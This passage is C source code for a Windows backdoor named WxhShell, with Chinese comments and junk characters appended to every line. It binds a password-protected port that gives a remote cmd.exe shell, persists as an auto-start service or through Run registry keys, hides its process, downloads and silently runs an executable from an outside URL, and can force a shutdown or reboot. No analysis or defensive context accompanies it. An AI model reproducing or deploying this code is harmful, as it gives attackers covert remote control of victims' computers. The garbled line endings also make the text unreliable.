    else { KWojMPs  
    closesocket(wsh); c0Pj})-  
    ExitThread(0); -K3d u&j  
    } @dx 8{oQ  
    break; d::9,~  
    } k7j.VpN9  
  // 关机 [!4xInS  
  case 'd': { 2vh }:A_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ',K:.$My  
    if(Boot(SHUTDOWN)) lv9Tq5C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L^*f$Balz  
    else { *ow`}Q  
    closesocket(wsh); at4JLbk  
    ExitThread(0); >]8(3&zd  
    } b.v +5=)B  
    break; uVKe?~RC  
    } S~)`{ \  
  // 获取shell yjsj+K pL  
  case 's': { c@Br_ -  
    CmdShell(wsh); 7'"qW"<  
    closesocket(wsh); ~_Fx2T:X  
    ExitThread(0); k1oJ<$ Q  
    break; l i)6^f#  
  } ~M8|r!_  
  // 退出 /_})7I52  
  case 'x': { T0Xm}i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /Ry% K4$  
    CloseIt(wsh); GcDA0%i  
    break; kDDC@A $  
    } ~^jPE)  
  // 离开 ^lt2,x   
  case 'q': { Vjs'|%P7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /]^Y\U^  
    closesocket(wsh); /,\U*'-  
    WSACleanup(); G%FZTA6a  
    exit(1); !+A%`m  
    break; #-@Uq6Y  
        } fLqjBG]<  
  } `FQ]ad Fz  
  } D=mmBo  
?&-1(&  
  // 提示信息 =Y81h-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B}[f]8jrM  
} z=) m6\  
  } }6!/Nb  
LXh }U>a9  
  return; |T@SlNi]  
} Q"C*j'n   
gT0yI ;g]  
// shell模块句柄 `BKb60  
int CmdShell(SOCKET sock) 51b%uz  
{ [K$5 Rm5  
STARTUPINFO si; :CW^$Zvq  
ZeroMemory(&si,sizeof(si)); ,|s*g'u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (;;ji!i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r'jUB^E  
PROCESS_INFORMATION ProcessInfo; [U/h'A.j  
char cmdline[]="cmd"; xi(1H1KN5B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P O 5Wi  
  return 0; OPDT:e86Y=  
} 'mbLK#q  
Hp04apM:  
// 自身启动模式 j :B/ FL  
int StartFromService(void) &`@YdZtd"  
{ G(.G>8pf  
typedef struct Y4 HN1  
{ WM?-BIlT=  
  DWORD ExitStatus; l;0([_>*j  
  DWORD PebBaseAddress; ;W|NG3_y  
  DWORD AffinityMask; 'z5jnI  
  DWORD BasePriority; H" `'d  
  ULONG UniqueProcessId; 0S$k;q  
  ULONG InheritedFromUniqueProcessId; H^*AaA9-   
}   PROCESS_BASIC_INFORMATION; t&?{+?p: 9  
&{.IUg  
PROCNTQSIP NtQueryInformationProcess; k\ .9iI'6  
DOJydYds  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e O\72? K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IZj`*M%3  
W&Fm ;m@M  
  HANDLE             hProcess; rL1yq|]I  
  PROCESS_BASIC_INFORMATION pbi; &>,]YrU  
@6yc^DAA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kh\ 7%>K#  
  if(NULL == hInst ) return 0; Pgr2 S I  
9=ygkPY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q}@t'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O'wmhLa"W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0fXMY-$I  
?h&XIM(  
  if (!NtQueryInformationProcess) return 0; c%/b*nQ(=  
XqmB%g(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W:]2T p  
  if(!hProcess) return 0; dgpE3 37Lt  
}w$2,r gA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hJ{u!:4  
Pj <U|\-?  
  CloseHandle(hProcess); sh_;98^  
Gn8 sB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sc[#]2 }  
if(hProcess==NULL) return 0; V'j+)!w5  
tJ6@Ot  
HMODULE hMod; +_7a/3kh  
char procName[255]; d#0:U Y%~  
unsigned long cbNeeded; 4tZ*%!I'  
m}wn+R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !.,wg'\P  
D8wf`RUt  
  CloseHandle(hProcess); g4h{dFb|_  
a ~v$ bNu  
if(strstr(procName,"services")) return 1; // 以服务启动 0qJ (RB  
X!Z)V)@J8  
  return 0; // 注册表启动 U S ALoe  
} r& a[ ?  
&" t~d}Rg  
// 主模块 %i9 e<.Ot  
int StartWxhshell(LPSTR lpCmdLine) k)n b<JW|r  
{ QgqJ #  
  SOCKET wsl; ~JXz  
BOOL val=TRUE; =o##z5j K  
  int port=0; ?.VKVTX^  
  struct sockaddr_in door; <}RI<96  
X vaIOt>A  
  if(wscfg.ws_autoins) Install(); *2X~NJCt  
Dds-;9  
port=atoi(lpCmdLine); #-'`Yb w  
LIcc0w3  
if(port<=0) port=wscfg.ws_port; $IE}fgA@5  
\l:R]:w;ZI  
  WSADATA data; WVa%<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l/G +Xj4M  
[Y](Y3/.N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s-"KABEE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =-si| 1Z  
  door.sin_family = AF_INET;  `M I;.t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G JRl{Y  
  door.sin_port = htons(port); "u^Erj# /  
eyMn! a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YcobK#c  
closesocket(wsl); 0~ho/_  
return 1; |_TiF ;^  
} I8gNg Z  
q%4X1 W  
  if(listen(wsl,2) == INVALID_SOCKET) { h vYRAQR:  
closesocket(wsl); 0*XsAz1,9  
return 1; R2Tt6  
} b e8T<F  
  Wxhshell(wsl); C.S BJ  
  WSACleanup(); qf x*a88  
nc;e NB  
return 0; O6G\0o  
 rexf#W)  
} ;g!rc#z2g  
A]|w1nq  
// 以NT服务方式启动 Gm B&TD m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UOZ+ &DL,L  
{ BXYHJ  
DWORD   status = 0; 9)oi_U.  
  DWORD   specificError = 0xfffffff; Ah2 {kK  
./F:]/Mt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q6HJ+H-Ub  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V5K/)\#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b{<?E };%  
  serviceStatus.dwWin32ExitCode     = 0; MrR`jXz  
  serviceStatus.dwServiceSpecificExitCode = 0; |P>7C  
  serviceStatus.dwCheckPoint       = 0; ;?/5Mr  
  serviceStatus.dwWaitHint       = 0; 4QA~@pBX^{  
+Hu\b&g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *tUOTA 3L  
  if (hServiceStatusHandle==0) return; G`FYEmD  
q-`&C  
status = GetLastError(); {mJ' Lb0;  
  if (status!=NO_ERROR) =cEsv&i  
{ Z^|N]Ej  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }nlS&gew^  
    serviceStatus.dwCheckPoint       = 0; #yH+ENp0   
    serviceStatus.dwWaitHint       = 0; INA3^p'w  
    serviceStatus.dwWin32ExitCode     = status; Jc#D4e1#  
    serviceStatus.dwServiceSpecificExitCode = specificError; kO\ O$J^S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %R >n5m  
    return; 9rMO=  
  } "Pwa}{  
M.Yp'Av  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K83'`W^  
  serviceStatus.dwCheckPoint       = 0; I> ;{BYPV  
  serviceStatus.dwWaitHint       = 0;  >:-e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R;!,(l  
} 7+P;s,mi7  
qnp}#BZ  
// 处理NT服务事件,比如:启动、停止 Z<;W*6J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KUJLx  
{ ?h[HC"V/2  
switch(fdwControl) (,h2qP-;ud  
{ r-y;"h'  
case SERVICE_CONTROL_STOP: VO0:4{-  
  serviceStatus.dwWin32ExitCode = 0; rQ.zqr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E:K4k <  
  serviceStatus.dwCheckPoint   = 0; 8'*x88+  
  serviceStatus.dwWaitHint     = 0; Eiu/p&ct  
  { }&vD(hX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B@(d5i{h  
  } vxZ'-&;t  
  return; &x1A {j_  
case SERVICE_CONTROL_PAUSE: ~P'.R.e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M 2hZ'  
  break; {IgH0+z  
case SERVICE_CONTROL_CONTINUE: iE''>Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?>B?*IK!  
  break; WK6,K92  
case SERVICE_CONTROL_INTERROGATE: F-s{#V1=  
  break; ?z.?(xZ 6  
}; %C/p+Tg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#_p0yPy  
} v":q_w<k  
Ikdj?"+O  
// 标准应用程序主函数 a<&K^M&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oJ4HvrUO  
{ 0I.KHIB k  
Pg8.RvmQ  
// 获取操作系统版本 3Z" ;a  
OsIsNt=GetOsVer(); f 0H.$UAL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !MKecRG_  
56)!&MF  
  // 从命令行安装 <W #G)c0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;y,g%uqE  
84WD R?  
  // 下载执行文件 $rXCNew(  
if(wscfg.ws_downexe) { PRU&y/zZmG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H1c8]}  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]`)5 Qe4  
} (c[u_~ ;  
xfeED^?  
if(!OsIsNt) { K? o p3}f?  
// 如果时win9x,隐藏进程并且设置为注册表启动 \}Am]Y/ w  
HideProc(); l6bY!I>  
StartWxhshell(lpCmdLine); _]zX W  
} \1Y|$:T/  
else 2OJlE) .  
  if(StartFromService()) {N}az"T4f  
  // 以服务方式启动 bN/8 ~!  
  StartServiceCtrlDispatcher(DispatchTable); `o{ Z;-OF  
else d` ttWWPw  
  // 普通方式启动 iHhdoY[]  
  StartWxhshell(lpCmdLine); HDV-qYD|O~  
i(|u g_^  
return 0; y7>3hfn~w  
} b,+Sa\j)(  
TBt5Nqks-  
q\<l"b z  
r2SZC`Z}-M  
=========================================== u9 &$`N_G  
O8 .iP+  
f,yl'2{  
O5r8Ghf )  
UE^o}Eyg  
OM1Z}%J  
" Z 01A~_  
)IcSdS0@M  
#include <stdio.h> c ?CD;Pk  
#include <string.h> Q!q6R^5!K  
#include <windows.h> {3  
#include <winsock2.h> 7nT|yL?  
#include <winsvc.h> ZRf9'UwS  
#include <urlmon.h> vCi`htm%  
,;t:x|{%  
#pragma comment (lib, "Ws2_32.lib") 3g4=as4w  
#pragma comment (lib, "urlmon.lib") i!2k f  
oW^x=pS9  
#define MAX_USER   100 // 最大客户端连接数 a"-uJn  
#define BUF_SOCK   200 // sock buffer nx%As  
#define KEY_BUFF   255 // 输入 buffer ;J|t-$Z  
RK.lz VaY  
#define REBOOT     0   // 重启 4tm%F\Izy  
#define SHUTDOWN   1   // 关机 m+XHFU  
~u$ cX1M  
#define DEF_PORT   5000 // 监听端口 PR"x&JG@  
[TA.|7&  
#define REG_LEN     16   // 注册表键长度 fYPu%MN7  
#define SVC_LEN     80   // NT服务名长度  x(HHy,  
9.(|ri  
// 从dll定义API eHvUgDt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )ItABl[{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C"kfxpCi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DU6j0lz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X`_tm3HC  
8|@) #:  
// wxhshell配置信息 8a*&,W  
struct WSCFG { [[c0g6  
  int ws_port;         // 监听端口 'nPI zK<v  
  char ws_passstr[REG_LEN]; // 口令 ,iYhD-"'  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?<jWEz=  
  char ws_regname[REG_LEN]; // 注册表键名 =)Hu(;Yv  
  char ws_svcname[REG_LEN]; // 服务名 iA{q$>{8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?jz\[0)s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q>4NUq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _yAY5TIv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c<Cf|W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FiMM-c|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T(u; <}e@[  
lZRO"[<  
}; 3ux7^au  
 lha;|  
// default Wxhshell configuration Fk49~z   
struct WSCFG wscfg={DEF_PORT, 564L.^$@|  
    "xuhuanlingzhe", P<X?  
    1, 1|8Bv0-b  
    "Wxhshell", +w[ZMk  
    "Wxhshell", h._eP.W`  
            "WxhShell Service", ^f>c_[fR  
    "Wrsky Windows CmdShell Service", U;iCH  
    "Please Input Your Password: ", .WKJ37od  
  1, MJX4;nbl  
  "http://www.wrsky.com/wxhshell.exe", 1c QF(j_  
  "Wxhshell.exe" I(7 GVYM  
    }; {HY3E}YJL  
3r#['UmT  
// 消息定义模块 fsPsP`|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +x{o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w_>\Yd[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BegO\0%+  
char *msg_ws_ext="\n\rExit."; -zYa@PW  
char *msg_ws_end="\n\rQuit."; ZRYlm$C  
char *msg_ws_boot="\n\rReboot..."; ]#4kqj}  
char *msg_ws_poff="\n\rShutdown..."; <w}^Z}fpk&  
char *msg_ws_down="\n\rSave to "; yCR8c,'8  
4u*n7di$9d  
char *msg_ws_err="\n\rErr!"; tvf.K+  
char *msg_ws_ok="\n\rOK!"; F|6"-*[RS  
3mofp`e  
char ExeFile[MAX_PATH]; | eCVq(R  
int nUser = 0; O)V;na  
HANDLE handles[MAX_USER]; [Y!HQ9^LEp  
int OsIsNt; l"[.Q>d  
h/A\QW8Sd  
SERVICE_STATUS       serviceStatus; zjA#8;h~w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; } *) l  
pjS##pgVq  
// 函数声明 ]r!|@AWrQ\  
int Install(void); +}at#%1@  
int Uninstall(void); msCz\8Xd  
int DownloadFile(char *sURL, SOCKET wsh); g&$5!ifgi  
int Boot(int flag); k(tB+k!vH\  
void HideProc(void); \C~6 '  
int GetOsVer(void); yuC$S&Y >!  
int Wxhshell(SOCKET wsl); %JPr 7 }  
void TalkWithClient(void *cs); N/WtQSl  
int CmdShell(SOCKET sock); kuBtPZ  
int StartFromService(void); GQ?FUFuIoW  
int StartWxhshell(LPSTR lpCmdLine); &k|EG![  
"LDNkw'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {?^ES*5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &S*{a  
h&i(Kfv*  
// 数据结构和表定义 ]U~{?K'g@j  
SERVICE_TABLE_ENTRY DispatchTable[] = FTEC=j$ln  
{ K)x6F 15r  
{wscfg.ws_svcname, NTServiceMain}, 82r{V:NCK)  
{NULL, NULL} |UlR+'rl  
}; o$->|k  
XFs7kTY  
// 自我安装 27[e0 j  
int Install(void) =>>Dnp  
{ +KExK2=  
  char svExeFile[MAX_PATH]; #p;<X|Hc}8  
  HKEY key; %r6_['T  
  strcpy(svExeFile,ExeFile); GCQOjqiR  
~7j-OWz9  
// 如果是win9x系统,修改注册表设为自启动 OAo03KW  
if(!OsIsNt) { %vf;qVoA~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NR&a er  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M7Z&t'=  
  RegCloseKey(key); @o@SU"[?_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .AX%6+o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _{^F8  
  RegCloseKey(key); 0V8G9Gj  
  return 0; [Z'4YXS  
    } JSh'iYJ .  
  } Smy J@.L"  
} { ~{D(k  
else { ](-[ I#  
w U]8hkl?  
// 如果是NT以上系统,安装为系统服务 lr)MySsu#H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); : +^`VLIf  
if (schSCManager!=0) >4>. Ycp  
{ PMQ31f/zf  
  SC_HANDLE schService = CreateService e6jdSn  
  ( zYPvpZV/  
  schSCManager, Z^A(Q>{e  
  wscfg.ws_svcname, hI<$lEB  
  wscfg.ws_svcdisp, b[n6L5P5m2  
  SERVICE_ALL_ACCESS, RvVF^~u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Um/ g&k  
  SERVICE_AUTO_START, xU.Ymq& 5  
  SERVICE_ERROR_NORMAL, :/Y4I)'  
  svExeFile, bw#\"uJ  
  NULL, E9 #o0Di  
  NULL, '+^XL6$L  
  NULL, =`(\]t"I  
  NULL, =>TXo@rVN  
  NULL 'HvW&~i(  
  ); ,tBc%&.f  
  if (schService!=0) mp]UUpt  
  { ;P|v'NNI  
  CloseServiceHandle(schService); -Xgup,}?  
  CloseServiceHandle(schSCManager); : SD3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -cXVkH{  
  strcat(svExeFile,wscfg.ws_svcname); q=BAYZ\`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1-4*YrA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7.^1I7O  
  RegCloseKey(key); x4_FG{AIu  
  return 0; = 6w(9O  
    } v}z{OB  
  } C%Op[H3  
  CloseServiceHandle(schSCManager); zpxy X|  
} q*>|EJR^Rw  
} \l;H !y[  
oP<E)  
return 1; MES|iB  
} ^yF2xJ)9-  
fAR0GOI  
// 自我卸载 dNs<`2m  
int Uninstall(void) F>3fP  
{ }xzbg  
  HKEY key; p@xK`=Urb  
QN m.8c$  
if(!OsIsNt) { [SLBA_d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o{QPW  
  RegDeleteValue(key,wscfg.ws_regname); {7q +3f <  
  RegCloseKey(key); J 9k~cz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;6zp,t0  
  RegDeleteValue(key,wscfg.ws_regname); le`_    
  RegCloseKey(key); ~{O@tt)F  
  return 0; p>]2o\["  
  } ~rU{Q>c  
} j]_"MMwk$<  
} Mj@ 0F 2hy  
else { ut^^,w{o>  
K_~SJbl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QI2T G,  
if (schSCManager!=0) !tD,phca~  
{ SA$1rqU=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bQM_rqjJGw  
  if (schService!=0) 76*5/J-  
  { R'r^v  
  if(DeleteService(schService)!=0) { ^t\AB)(8  
  CloseServiceHandle(schService); KI Ua  
  CloseServiceHandle(schSCManager); 7e-l`]  
  return 0; mM7S9^<UH  
  } _7zER6#}  
  CloseServiceHandle(schService); ^^Tu/YC9x  
  } d<v>C-nk%  
  CloseServiceHandle(schSCManager); rx#\Dc}  
} fOyLBixR  
} L);kwx7{LW  
L~jKx)S%  
return 1; f[/E $r99J  
} =r:-CRq(  
S)*eAON9  
// 从指定url下载文件 7MT[fA8^  
int DownloadFile(char *sURL, SOCKET wsh) obE_`u l#  
{ S|%f<zAtJ  
  HRESULT hr; xe6 2gaT  
char seps[]= "/"; %h%^i   
char *token; lLT;V2=osX  
char *file; `_'I 9,.a  
char myURL[MAX_PATH]; oY{r83h{  
char myFILE[MAX_PATH]; YDyi6x,  
%!HmtpS  
strcpy(myURL,sURL); /*lSpsBn  
  token=strtok(myURL,seps); t$Z#zx X  
  while(token!=NULL) M+ gYKPP  
  { Bk 1Q.Un  
    file=token; jn#  
  token=strtok(NULL,seps); v:<UbuJw  
  } '7{0k{  
(6G5UwSt  
GetCurrentDirectory(MAX_PATH,myFILE); z rt8ze=Su  
strcat(myFILE, "\\"); e}e\*BL  
strcat(myFILE, file); #IP<4"Hf  
  send(wsh,myFILE,strlen(myFILE),0); rK2*DuE  
send(wsh,"...",3,0); &Fl^&&1C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H0s,tTK8  
  if(hr==S_OK) Ng,#d`Br  
return 0; ge[+/$(1  
else U&/Jh^Yy  
return 1; o=2y`Eq  
xS,#TU;)Ol  
} >b0e"eGt  
VWG#v #o  
// 系统电源模块 h2u> CXD  
int Boot(int flag) d7u"Z5t  
{ #uT-_L}s w  
  HANDLE hToken; 0@t/j<5o  
  TOKEN_PRIVILEGES tkp; M*E4:A9_M  
5_nkN`x  
  if(OsIsNt) { +MeEy{;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c`y[V6q9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pWB)N7x&  
    tkp.PrivilegeCount = 1; ])a?ri  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xk}YeNVj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l9q ygh  
if(flag==REBOOT) { h8O[xca/~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?PSm) ~ Oa  
  return 0; ]`y4n=L.  
} WFg'G>*  
else { ~^IS{1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PS@` =Z  
  return 0; 8sg8gBt  
} EZc!QrY  
  } nKh._bvfX  
  else { |jaUVE_2[  
if(flag==REBOOT) { %n9}P , ?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xZL`<3?  
  return 0; VD +8j29  
} E'&UWD h  
else { Cfb/f]*M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -";'l @D=  
  return 0; wr8n*Du  
} F)Yn1&a#H  
} ^Y ~ ,s  
]{nFB3vtB  
return 1; ^,b*.6t  
} l8%x(N4  
QM9~O#rL  
// win9x进程隐藏模块 r&xqsZ%R  
void HideProc(void) Wb!%_1dER  
{ pR&cdO RsP  
<i~ ( 8F\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7|T5N[3?l,  
  if ( hKernel != NULL ) -^$CGRE6A  
  { {{[).o/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )~O{jd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i,S%:0c7)  
    FreeLibrary(hKernel); [={pF q`  
  } nV McHN   
ph30/*8  
return; %7O`]ik:  
} Yiu)0\ o  
~DPg):cZ  
// 获取操作系统版本 8b(UqyV  
int GetOsVer(void) ^Cyx "s't  
{ I4  Tc&b  
  OSVERSIONINFO winfo; H<%7aOwO2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *2 4P T7  
  GetVersionEx(&winfo); aAwnkQ$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?9v!UT&#  
  return 1; c"H4/,F  
  else Otn,(j;u  
  return 0; ZGzrh`j{-  
} gJ c5Y  
8:$kFy\A'  
// 客户端句柄模块 phl5E:fIKx  
int Wxhshell(SOCKET wsl) OWB^24Z&3  
{ f>waF u-  
  SOCKET wsh; vV#Jl) A  
  struct sockaddr_in client; !;'U5[}8  
  DWORD myID; =d7lrx+z  
/I$g.f/#  
  while(nUser<MAX_USER) E^1uZI\z  
{ HG=!#-$9  
  int nSize=sizeof(client); 0OEyJ|g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mmTc.x h  
  if(wsh==INVALID_SOCKET) return 1; KTBsH;6  
@XDU !<N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); > g8;x#  
if(handles[nUser]==0) *J8j_-i,R  
  closesocket(wsh); %=S^{A  
else bW3e*O$V  
  nUser++; }3lM+]pf  
  } ;'}1   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4zpprh+`K  
}v0oFY$u`H  
  return 0; He)v:AH  
} <|hvH  
WSi Utf|g  
// 关闭 socket pL.r 9T.  
void CloseIt(SOCKET wsh) Z\(+awv  
{ G:c)e ,pD  
closesocket(wsh); {G%`K,T  
nUser--; t \DS}3pv  
ExitThread(0); RQ9fA1YP  
} %Ni)^   
46Nl];g1`  
// 客户端请求句柄 Gow_a'  
void TalkWithClient(void *cs) o`M7:8G  
{ f/*Xw{s#  
Ct|iZLh`j  
  SOCKET wsh=(SOCKET)cs; BGLJ>zkq  
  char pwd[SVC_LEN]; asj^K|.z  
  char cmd[KEY_BUFF]; r<UZ\d -  
char chr[1]; ,D+pGxbr   
int i,j; HS="t3  
BtVuI5*h  
  while (nUser < MAX_USER) { "CT'^d+  
$MfHA~^  
if(wscfg.ws_passstr) { 'F5&f9 A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rzLpVpTaz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5``/exG>  
  //ZeroMemory(pwd,KEY_BUFF); \[B5j0vV,  
      i=0; vtCt6M  
  while(i<SVC_LEN) { \a<qI  
BV9B}IV  
  // 设置超时 O<Ht-TN&  
  fd_set FdRead; 9Fv1D  
  struct timeval TimeOut; GBHv| GO  
  FD_ZERO(&FdRead); Fv.}w_  
  FD_SET(wsh,&FdRead); {" Van,w  
  TimeOut.tv_sec=8; }_@*,  
  TimeOut.tv_usec=0; `rbTB3?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cc$!TZq=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VI74{='=  
)ra_`Qdcf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ">v76%>Z7  
  pwd=chr[0]; =Qsh3b&<P  
  if(chr[0]==0xd || chr[0]==0xa) { k9~NIvnB`  
  pwd=0; HIk5Q'ek  
  break; Kxn/@@z>u  
  } -ce N}Cb3  
  i++; 1 }Tbp_  
    } 7!]$XGz[  
P5P:_hr  
  // 如果是非法用户,关闭 socket GXr9J rs.e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CJ8XKy  
} M`q>i B  
Rf^$?D&^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *l)_&p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); po4seW!  
M56^p ,  
while(1) { S*Qip,u  
IX$dDwY|O>  
  ZeroMemory(cmd,KEY_BUFF); T&oY:1D,g  
aqQ YU5l4~  
      // 自动支持客户端 telnet标准   4c_TrNwP  
  j=0; 9y{[@KG  
  while(j<KEY_BUFF) { Q })x4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8`v+yHjG  
  cmd[j]=chr[0]; E/v.+m  
  if(chr[0]==0xa || chr[0]==0xd) { JF!JY( U,  
  cmd[j]=0; 6}6;%{p"Gu  
  break; oM G8?p  
  } DJVH}w}9_P  
  j++; 4/;hA z  
    } d&BocJ  
lr'h  
  // 下载文件 i,r O3J n  
  if(strstr(cmd,"http://")) { cY8X A6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i ?&t@"'  
  if(DownloadFile(cmd,wsh)) m2F2  
